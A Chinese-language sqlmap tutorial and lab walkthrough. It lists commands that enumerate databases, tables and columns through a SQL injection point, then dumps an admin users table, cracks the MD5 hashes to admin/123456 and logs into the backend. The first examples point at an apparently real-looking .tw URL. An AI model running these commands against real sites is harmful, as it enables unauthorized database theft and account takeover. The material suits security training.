sqlmap是一个非常强大的sql注入检测与辅助工具,但是由于没有图形界面,基本上用起来比较麻烦。我们要了解这些语句。如下:
检查注入点:
sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11
爆所有数据库信息:
sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 --dbs
爆当前数据库信息:
sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 --current-db
指定库名列出所有表
sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 -D vhost48330 --tables# 'vhost48330' 为指定数据库名称
指定库名表名列出所有字段
sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 -D vhost48330 -T admin --columns# 'admin' 为指定表名称
指定库名表名字段dump出指定字段
sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 -D vhost48330 -T admin -C ac,id,password --dump# 'ac,id,password' 为指定字段名称
目标地址:http://www.any.com/wcms/show.php?id=33
实验步骤:
第一步:打开目标地址,先手工检查一下是否存在注入点。
http://www.any.com/wcms/show.php?id=33页面正常 http://www.any.com/wcms/show.php?id=33'正常报错
说明存在注入漏洞。下面进行sqlmap注入。
第二步:使用sqlmap判断一下是否存在注入漏洞(主要是看能否返回信息)
python.exe sqlmap/sqlmap.py -u http://www.any.com/wcms/show.php?id=33
第三步:获取数据库信息。
python.exe sqlmap/sqlmap.py -u http://www.any.com/wcms/show.php?id=33 --dbs#获取所有数据库信息
python.exe sqlmap/sqlmap.py -u http://www.any.com/wcms/show.php?id=33 --current-db#获取当前数据库信息
由于靶机环境搭建了不同的网站和应用,用的都是同一个数据库,因此显示的会把整个mysql的所有数据库名都显示出来。目标网站用的是cms这个库。
第四步:指定库名列出所有表
python.exe sqlmap/sqlmap.py -u http://www.any.com/wcms/show.php?id=33 -D cms --tables
进一步获取到了cms库所有的表,我们更关注cms_users这个表。根据经验,这里面存储着后台的管理账号和密码。
第五步:指定库名表名列出所有字段。
python.exe sqlmap/sqlmap.py -u http://www.any.com/wcms/show.php?id=33 -D cms -T cms_users --columns
查出了3个字段,password,userid,username。理论上password、和username分别存储着密码和用户名。
第六步:指定库名表名字段列出指定字段
python.exe sqlmap/sqlmap.py -u http://www.any.com/wcms/show.php?id=33 -D cms -T cms_users -C username,password --dump
在执行过程中,会需要我们属于选择一下y或者n,默认的是大写选项,默认即可(一直按Enter键即可);主要是sqlmap调用本地字典库进行简单的md5暴力破解。我们最后获取到了用户名和密码,分别是 admin 和123456。
第七步:在后台登陆一下。至于后台的查找,我们可以通过御剑这款专业的后台查找工具,后续实验中会有详细的介绍,这里不再赘述。
http://www.any.com/wcms/admin/login.php
输入用户名和密码 admin 123456
登陆成功。